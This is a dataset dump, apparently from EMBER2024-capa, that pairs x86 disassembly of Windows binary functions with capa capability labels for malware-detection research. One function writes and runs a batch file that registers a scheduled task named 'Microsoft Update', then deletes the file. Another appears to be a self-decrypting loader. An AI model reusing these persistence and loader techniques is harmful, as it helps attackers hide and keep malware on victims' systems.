joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10015305
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x548
push ebx
push esi
push edi
lea eax, [ebp - 0x23c]
push eax
mov esi, 0x104
push esi
mov dword [ebp - 8], 0x61622e63
xor ebx, ebx
mov word [ebp - 4], 0x74
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push esi
lea eax, [ebp - 0x444]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
mov cl, byte [ebp + eax - 0x444]
inc eax
cmp cl, bl
jne 0x10015344
lea eax, [ebp - 8]
mov edx, eax
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10015355
lea edi, [ebp - 0x23c]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x10015365
mov ecx, eax
shr ecx, 2
push ebx
mov esi, edx
rep movsd dword es:[edi], dword [esi]
push ebx
push 2
push ebx
push 1
mov ecx, eax
push 0x40000000
lea eax, [ebp - 0x23c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x100154a8
lea ecx, [ebp - 0x10]
push ecx
push eax
mov dword [ebp - 0x10], 0xa0d313a
mov byte [ebp - 0xc], bl
call fcn.100151b9
mov esi, 0x103
push esi
lea eax, [ebp - 0x33f]
push ebx
push eax
mov byte [ebp - 0x340], bl
call fcn.10004a00
push esi
lea eax, [ebp - 0x137]
push ebx
push eax
mov byte [ebp - 0x138], bl
call fcn.10004a00
add esp, 0x20
mov dword [ebp - 0x34], 0x74686373
mov dword [ebp - 0x30], 0x736b7361
mov dword [ebp - 0x2c], 0x72432d20
mov dword [ebp - 0x28], 0x65744165
mov dword [ebp - 0x24], 0x43732d20
mov dword [ebp - 0x20], 0x6e696d20
mov dword [ebp - 0x1c], 0x20657475
mov dword [ebp - 0x18], 0x206f6d2d
mov word [ebp - 0x14], 0x32
xor eax, eax
mov cl, byte [ebp + eax - 0x34]
mov byte [ebp + eax - 0x138], cl
inc eax
cmp cl, bl
jne 0x10015426
lea edi, [ebp - 0x138]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x1001543d
push 8
pop ecx
push dword [ebp + 8]
mov esi, str.__tn__Microsoft_Update___tr___s_
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0x340]
push eax
movsw word es:[edi], word [esi]
call fcn.10003912
lea eax, [ebp - 0x340]
push eax
push dword [ebp - 8]
call fcn.100151b9
add esp, 0x14
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
lea eax, [ebp - 0x23c]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x23c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x40a873
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x40a882
pop dword [ebp - 0x1c]
mov eax, 0x40a882
sub dword [ebp - 0x1c], eax
push 0x40
push 0x1000
push 0x3b107
push 0
mov eax, 0xfdc94dee
sub eax, 0xfd886d16
add eax, dword [ebp - 0x1c]
call dword [eax]
mov ecx, 0xc258306b
sub ecx, 0xc257e104
mov ebx, eax
mov edx, 0x29aef100
add edx, 0xd6924ac4
add edx, dword [ebp - 0x1c]
mov edi, 0x125a7a51
sub dword [ebp - 0xc], 0xa220f109
mov esi, dword [edx]
add esi, edi
xor dword [ebp - 4], edx
mov dword [ebx], esi
sub dword [ebp - 8], 0x54242bf7
add ebx, 0x7d77019a
add ebx, 0x8288fe6a
add edx, 0x17c78ecc
add edx, 0xe8387138
loop 0x40a8d6
add eax, 0x1306f
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x4f900ae
add ecx, 0xfb46ff52
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x404704
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebx
push esi
add esp, 0xfffffbe4
mov esi, edx
mov ebx, eax
test bl, bl
je 0x404746
movzx eax, bl
add ax, 0x41
dec eax
mov word [esp], ax
mov word [esp + 2], 0x3a
mov word [esp + 4], 0
lea eax, [esp + 0x212]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryW
push esp
call sub.kernel32.dll_SetCurrentDirectoryW
lea eax, [esp + 8]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryW
test bl, bl
je 0x404766
lea eax, [esp + 0x212]
push eax
call sub.kernel32.dll_SetCurrentDirectoryW
mov eax, esi
lea edx, [esp + 8]
mov ecx, 0x105
call fcn.0040a360
add esp, 0x41c
pop esi
pop ebx
ret

Function at 0x4049bc
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffdf4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.004094f8
test esi, esi
jne 0x4049f2
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00409680
jmp 0x404a10
call sub.kernel32.dll_GetCommandLineW
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004048a0
mov edi, eax
test esi, esi
je 0x404a10
cmp dword [ebx], 0
je 0x404a10
dec esi
jmp 0x4049f9
add esp, 0x20c
pop edi
pop esi
pop ebx
ret

Function at 0x40554c
Capabilities:
Read file on windows

Disassembly:
push ebx
xor ecx, ecx
mov ebx, eax
mov cx, word [eax + 4]
sub ecx, 0xd7b1
je 0x405562
sub ecx, 2
jne 0x405584
push 0
mov eax, esp
push 0
push eax
push dword [ebx + 8]
push edx
push dword [ebx]
call sub.kernel32.dll_ReadFile
pop edx
dec eax
jne 0x40558b
cmp edx, dword [ebx + 8]
je 0x405595
mov eax, 0x64
jmp 0x405590
mov eax, 0x67
jmp 0x405590
call sub.kernel32.dll_GetLastError
call fcn.004046e8
pop ebx
ret

Function at 0x406608
Capabilities:
Write file on windows

Disassembly:
push ebx
mov ebx, eax
movzx eax, word [eax + 4]
sub eax, 0xd7b2
cmp eax, 1
ja 0x40663b
push 0
mov eax, esp
push 0
push eax
push dword [ebx + 8]
push edx
push dword [ebx]
call sub.kernel32.dll_WriteFile
pop edx
dec eax
jne 0x406642
cmp edx, dword [ebx + 8]
je 0x40664c
mov eax, 0x65
jmp 0x406647
mov eax, 5
jmp 0x406647
call sub.kernel32.dll_GetLastError
call fcn.004046e8
mov eax, ebx
pop ebx
ret
Function at 0x408274
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff4
mov edi, edx
mov esi, eax
mov ebp, dword [esi + 0x10]
mov eax, esi
call fcn.0040866c
mov byte [esp], al
cmp byte [esp], 0
jne 0x408400
test edi, edi
je 0x408400
mov byte [esp + 1], 0
test ebp, ebp
jle 0x408337
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
test ebp, ebp
jle 0x408312
cmp edi, 0xffffffff
je 0x4082d3
call sub.kernel32.dll_GetTickCount
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x4082d3
mov byte [esp], 0
jmp 0x408400
mov ebx, dword [esi]
cmp ebx, 1
jg 0x408312
test ebx, ebx
jne 0x408308
mov eax, esi
xor ecx, ecx
mov edx, 1
call fcn.00402770
test eax, eax
jne 0x408308
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
mov byte [esp], 1
jmp 0x408400
call 0x408790
dec ebp
test ebp, ebp
jg 0x4082b8
cmp edi, 0xffffffff
je 0x408337
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x408335
mov byte [esp], 0
jmp 0x408400
sub edi, eax
mov ebx, dword [esi]
test ebx, ebx
je 0x408282
lea edx, [ebx + 2]
mov eax, esi
mov ecx, ebx
call fcn.00402770
cmp ebx, eax
jne 0x408337
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
mov eax, esi
call fcn.00408470
mov edx, eax
mov ebx, dword [0x5728f8]
mov ecx, edi
xor eax, eax
call dword [ebx + 0x10]
test eax, eax
sete byte [esp]
cmp edi, 0xffffffff
je 0x40839e
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
jbe 0x40839c
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
sub edi, eax
jmp 0x40839e
xor edi, edi
cmp byte [esp], 0
je 0x4083c7
mov ebx, dword [esi]
test bl, 1
jne 0x4083e0
mov edx, ebx
sub edx, 2
or edx, 1
mov eax, esi
mov ecx, ebx
call fcn.00402770
cmp ebx, eax
jne 0x4083a4
mov byte [esp + 1], 1
jmp 0x4083e0
mov ebx, dword [esi]
mov edx, ebx
sub edx, 2
mov eax, esi
mov ecx, ebx
call fcn.00402770
cmp ebx, eax
jne 0x4083c7
mov byte [esp + 1], 1
cmp byte [esp + 1], 0
je 0x408351
cmp byte [esp], 0
je 0x408400
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
movzx eax, byte [esp]
add esp, 0xc
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x409190
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x572058], 0
je 0x4091f7
cmp word [0x572344], 0xd7b2
jne 0x4091b9
cmp dword [0x57234c], 0
jbe 0x4091b9
mov eax, 0x572340
call dword [0x57235c]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
mov eax, 0x409224
call fcn.00409fdc
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x56c032], 0
jne 0x409213
push 0
push 0x56c9f2
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x4093b4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov edi, dword [ebp + 0x10]
cmp dword [0x56c034], 0
je 0x4093df
mov edx, edi
mov eax, esi
call dword [0x56c034]
mov ebx, eax
jmp 0x4093f0
mov eax, 8
call fcn.00404554
mov ebx, eax
mov dword [ebx], esi
mov dword [ebx + 4], edi
mov byte [0x572059], 1
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
push ebx
mov eax, 0x40937c
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CreateThread
mov esi, eax
test esi, esi
jne 0x409425
mov edx, 8
mov eax, ebx
call fcn.00404570
mov eax, esi
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 0xc

Function at 0x40be7c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe98
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x160], ecx
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x168], ecx
mov dword [ebp - 4], edx
mov esi, eax
xor eax, eax
push ebp
push 0x40bfe1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004094f8
cmp si, word [0x56ca30]
jb 0x40bf14
cmp si, word [0x56cc30]
ja 0x40bf14
mov edi, 0x40
xor eax, eax
mov dword [ebp - 8], eax
cmp edi, dword [ebp - 8]
jb 0x40bf14
mov ebx, edi
add ebx, dword [ebp - 8]
shr ebx, 1
cmp si, word [ebx*8 + 0x56ca30]
jae 0x40beee
mov edi, ebx
dec edi
jmp 0x40bf0f
cmp si, word [ebx*8 + 0x56ca30]
jbe 0x40befe
inc ebx
mov dword [ebp - 8], ebx
jmp 0x40bf0f
mov edx, dword [ebp - 4]
mov eax, dword [ebx*8 + 0x56ca34]
call fcn.0040bd8c
jmp 0x40bf14
cmp edi, dword [ebp - 8]
jae 0x40bed8
mov eax, dword [ebp - 4]
cmp dword [eax], 0
jne 0x40bfc3
push 2
movzx eax, si
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x40bfc3
push 0x55
lea eax, [ebp - 0xb2]
push eax
push 0x59
movzx ebx, si
push ebx
call sub.kernel32.dll_GetLocaleInfoW
push 0x55
lea eax, [ebp - 0x15c]
push eax
push 0x5a
push ebx
call sub.kernel32.dll_GetLocaleInfoW
lea eax, [ebp - 0x160]
lea edx, [ebp - 0xb2]
mov ecx, 0x55
call fcn.0040a360
push dword [ebp - 0x160]
push 0x40bffc
lea eax, [ebp - 0x164]
lea edx, [ebp - 0x15c]
mov ecx, 0x55
call fcn.0040a360
push dword [ebp - 0x164]
push 0x40c00c
lea eax, [ebp - 0x168]
lea edx, [ebp - 0xb2]
mov ecx, 0x55
call fcn.0040a360
push dword [ebp - 0x168]
mov eax, dword [ebp - 4]
mov edx, 5
call fcn.0040a598
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40bfe8
lea eax, [ebp - 0x168]
mov edx, 3
call fcn.00409558
ret
Function at 0x40c194
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40c297
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x574b88
call sub.kernel32.dll_EnterCriticalSection
cmp bx, word [0x574ba0]
jne 0x40c1e0
mov eax, esi
mov edx, 0x574ba2
mov ecx, 0x55
call fcn.0040a360
push 0x574b88
call sub.kernel32.dll_LeaveCriticalSection
jmp 0x40c281
push 0x574b88
call sub.kernel32.dll_LeaveCriticalSection
mov eax, esi
call fcn.004094f8
push 2
movzx eax, bx
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x40c24f
cmp byte [0x574b84], 0
je 0x40c214
mov edx, esi
mov eax, ebx
call fcn.0040c078
jmp 0x40c24f
mov edx, esi
mov eax, ebx
call fcn.0040be7c
call sub.kernel32.dll_GetSystemDefaultUILanguage
cmp bx, ax
je 0x40c24f
cmp dword [esi], 0
je 0x40c238
mov eax, esi
mov edx, 0x40c2b0
call fcn.0040a4b8
call sub.kernel32.dll_GetSystemDefaultUILanguage
lea edx, [ebp - 4]
call fcn.0040be7c
mov edx, dword [ebp - 4]
mov eax, esi
call fcn.0040a4b8
push 0x574b88
call sub.kernel32.dll_EnterCriticalSection
mov word [0x574ba0], bx
push 0xaa
mov eax, dword [esi]
call fcn.0040a2bc
push eax
push 0x574ba2
call sub.kernel32.dll_lstrcpynW
push 0x574b88
call sub.kernel32.dll_LeaveCriticalSection
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c29e
lea eax, [ebp - 4]
call fcn.004094f8
ret
Function at 0x40c4cc
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde4
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004095dc
xor eax, eax
push ebp
push 0x40c6f1
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 4], 0
jne 0x40c50c
push 0x105
lea eax, [ebp - 0x21a]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
jmp 0x40c526
push 0x105
mov eax, dword [ebp - 4]
call fcn.0040a2bc
push eax
lea eax, [ebp - 0x21a]
push eax
call sub.kernel32.dll_lstrcpynW
cmp word [ebp - 0x21a], 0
je 0x40c6db
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40c700
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40c5f5
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40c700
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40c5f5
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40c73c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40c5f5
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40c73c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40c5f5
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40c770
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40c5f5
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40c7a4
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
jne 0x40c6db
xor eax, eax
push ebp
push 0x40c6d4
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x21a]
mov edx, 0x105
call fcn.0040c2d8
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x21a]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x40c664
mov eax, dword [ebp - 0x10]
call fcn.00404554
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
push 0
lea eax, [ebp - 0x21a]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.0040a324
jmp 0x40c6af
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
push 0x40c7e4
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x40c6af
mov eax, dword [ebp - 0x10]
call fcn.00404554
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
push 0
push 0x40c7e4
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.0040a324
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c6db
cmp dword [ebp - 8], 0
je 0x40c6ca
mov eax, dword [ebp - 8]
call fcn.00404570
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c6f8
lea eax, [ebp - 4]
call fcn.004094f8
ret
Function at 0x40c9d4
Capabilities:
Get geographical location
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004095dc
xor eax, eax
push ebp
push 0x40ca94
push dword fs:[eax]
mov dword fs:[eax], esp
push 4
lea eax, [ebp - 0xc]
push eax
push 3
call sub.kernel32.dll_GetUserDefaultUILanguage
movzx eax, ax
push eax
call sub.kernel32.dll_GetLocaleInfoW
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xc]
mov ecx, 4
call fcn.0040a360
mov ecx, dword [ebp - 0x10]
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.0040a510
mov eax, dword [ebx]
call fcn.0040c89c
test al, al
jne 0x40ca71
mov word [ebp - 8], 0
lea eax, [ebp - 0x14]
lea edx, [ebp - 0xc]
mov ecx, 4
call fcn.0040a360
mov ecx, dword [ebp - 0x14]
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.0040a510
mov eax, dword [ebx]
call fcn.0040c89c
test al, al
jne 0x40ca71
mov eax, ebx
call fcn.004094f8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ca9b
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00409558
lea eax, [ebp - 4]
call fcn.004094f8
ret

Function at 0x40d458
Capabilities:
Get system information on windows

Disassembly:
add esp, 0xffffffdc
push esp
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [esp + 0x14]
add esp, 0x24
ret

Function at 0x420fe4
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbd4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x428], ecx
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x42110d
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x218]
push eax
push 0x104
call sub.kernel32.dll_GetLogicalDriveStringsW
mov esi, eax
test esi, esi
jle 0x4210e7
lea ebx, [ebp - 0x218]
lea eax, [ebx + 4]
mov word [eax], 0
push 0x104
lea eax, [ebp - 0x424]
push eax
push ebx
call sub.kernel32.dll_QueryDosDeviceW
mov esi, eax
test esi, esi
jle 0x4210d0
lea eax, [ebp - 4]
lea edx, [ebp - 0x424]
mov ecx, 0x106
call fcn.0040a360
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.0040a82c
test eax, eax
jle 0x4210d0
mov eax, dword [ebp - 4]
test eax, eax
je 0x421084
sub eax, 4
mov eax, dword [eax]
mov esi, eax
mov edi, dword [ebp - 8]
test edi, edi
je 0x421092
sub edi, 4
mov edi, dword [edi]
lea eax, [ebp - 0x428]
push eax
mov ecx, edi
sub ecx, esi
lea edx, [esi + 1]
mov eax, dword [ebp - 8]
call fcn.0040a680
mov eax, dword [ebp - 0x428]
push eax
lea eax, [ebp - 0x42c]
mov edx, ebx
call fcn.0040a324
mov edx, dword [ebp - 0x42c]
mov eax, dword [ebp - 0xc]
pop ecx
call fcn.0040a510
jmp 0x4210e7
add ebx, 2
cmp word [ebx], 0
jne 0x4210cd
add ebx, 4
test ebx, ebx
je 0x4210e1
cmp word [ebx], 0
jne 0x421036
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x421114
lea eax, [ebp - 0x42c]
mov edx, 2
call fcn.00409558
lea eax, [ebp - 4]
call fcn.004094f8
ret
Function at 0x421200
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdc4
push ebx
xor ebx, ebx
mov dword [ebp - 0x23c], ebx
mov dword [ebp - 0x238], ebx
mov dword [ebp - 0x230], ebx
mov dword [ebp - 0x234], ebx
mov dword [ebp - 0x228], ebx
mov dword [ebp - 0x22c], ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x42143d
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
mov eax, dword [ebp - 8]
call fcn.004094f8
xor eax, eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_GetFileSize_1
mov ebx, eax
test ebx, ebx
jne 0x4212d7
cmp dword [ebp - 0x14], 0
jne 0x4212d7
xor edx, edx
mov eax, 6
call fcn.00428d8c
test al, al
je 0x4212d7
push 2
push 0x104
lea eax, [ebp - 0x224]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_GetFinalPathNameByHandleW
test eax, eax
jbe 0x4212d7
lea eax, [ebp - 0x22c]
lea edx, [ebp - 0x224]
mov ecx, 0x106
call fcn.0040a360
mov eax, dword [ebp - 0x22c]
lea edx, [ebp - 0x228]
call fcn.00420fe4
mov edx, dword [ebp - 0x228]
mov eax, dword [ebp - 8]
call fcn.004098d8
mov byte [ebp - 9], 1
jmp 0x42141f
test ebx, ebx
jne 0x4212e5
cmp dword [ebp - 0x14], 0
je 0x4213d3
push 0
push 1
push 0
push 2
push 0
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CreateFileMappingW
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x3ee
je 0x4213d3
xor eax, eax
push ebp
push 0x4213cc
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
push 0
push 0
push 4
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_MapViewOfFile
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4213b5
xor eax, eax
push ebp
push 0x4213ae
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x104
call sub.kernel32.dll_GetCurrentProcess
lea ecx, [ebp - 0x224]
mov edx, dword [ebp - 0x18]
call fcn.004126f0
test eax, eax
jbe 0x421397
lea eax, [ebp - 0x234]
lea edx, [ebp - 0x224]
mov ecx, 0x106
call fcn.0040a360
mov eax, dword [ebp - 0x234]
lea edx, [ebp - 0x230]
call fcn.00420fe4
mov edx, dword [ebp - 0x230]
mov eax, dword [ebp - 8]
call fcn.004098d8
mov byte [ebp - 9], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4213b5
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_UnmapViewOfFile
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4213d3
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
cmp byte [ebp - 9], 0
jne 0x42141f
lea edx, [ebp - 0x238]
mov eax, dword [ebp - 4]
call fcn.0042111c
mov edx, dword [ebp - 0x238]
mov eax, dword [ebp - 8]
call fcn.004098d8
mov eax, dword [ebp - 8]
cmp dword [eax], 0
je 0x42141f
lea edx, [ebp - 0x23c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
call fcn.00420fe4
mov edx, dword [ebp - 0x23c]
mov eax, dword [ebp - 8]
call fcn.004098d8
mov byte [ebp - 9], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x421444
lea eax, [ebp - 0x23c]
mov edx, 6
call fcn.00409558
ret
Function at 0x421450
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
mov byte [ebp - 1], 0
xor edx, edx
mov eax, 6
call fcn.00428d8c
test al, al
je 0x421518
xor edx, edx
mov eax, ebx
call fcn.00422de8
test al, al
je 0x421518
mov eax, ebx
call fcn.00422bb8
test al, 0x20
je 0x421518
mov eax, ebx
call fcn.0040a2bc
push eax
call sub.kernel32.dll_GetFileAttributesW
cmp eax, 0xffffffff
je 0x421518
test ah, 4
je 0x421518
test al, 0x10
je 0x4214b7
mov edi, 0x2000000
jmp 0x4214b9
xor edi, edi
push 0
push edi
push 3
push 0
push 1
push 0x80000000
mov eax, ebx
call fcn.0040a2bc
push eax
call sub.kernel32.dll_CreateFileW_1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x421518
xor eax, eax
push ebp
push 0x421511
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, esi
mov ecx, edi
mov eax, dword [ebp - 8]
call fcn.00421200
mov byte [ebp - 1], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x421518
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
movzx eax, byte [ebp - 1]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret

Function at 0x4217fc
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp eax, edx
je 0x421855
test eax, edx
je 0x421858
movzx ecx, word [edx]
cmp cx, word [eax]
je 0x421813
movzx eax, word [eax]
sub eax, ecx
jmp 0x42183a
push ebx
mov ebx, dword [eax - 4]
xor ecx, ecx
sub ebx, dword [edx - 4]
push ebx
adc ecx, 0xffffffff
and ecx, ebx
sub ecx, dword [eax - 4]
shl ecx, 1
sub eax, ecx
sub edx, ecx
mov ebx, dword [ecx + eax]
xor ebx, dword [ecx + edx]
jne 0x42183b
add ecx, 4
js 0x42182b
pop eax
pop ebx
ret
bsf ebx, ebx
shr ebx, 4
add ebx, ebx
add ecx, ebx
jns 0x421838
movzx eax, word [ecx + eax]
movzx edx, word [ecx + edx]
sub eax, edx
pop ebx
pop ebx
jmp 0x42183a
xor eax, eax
ret
test eax, eax
je 0x421864
test edx, edx
jne 0x421804
mov eax, dword [eax - 4]
ret
sub eax, dword [edx - 4]
ret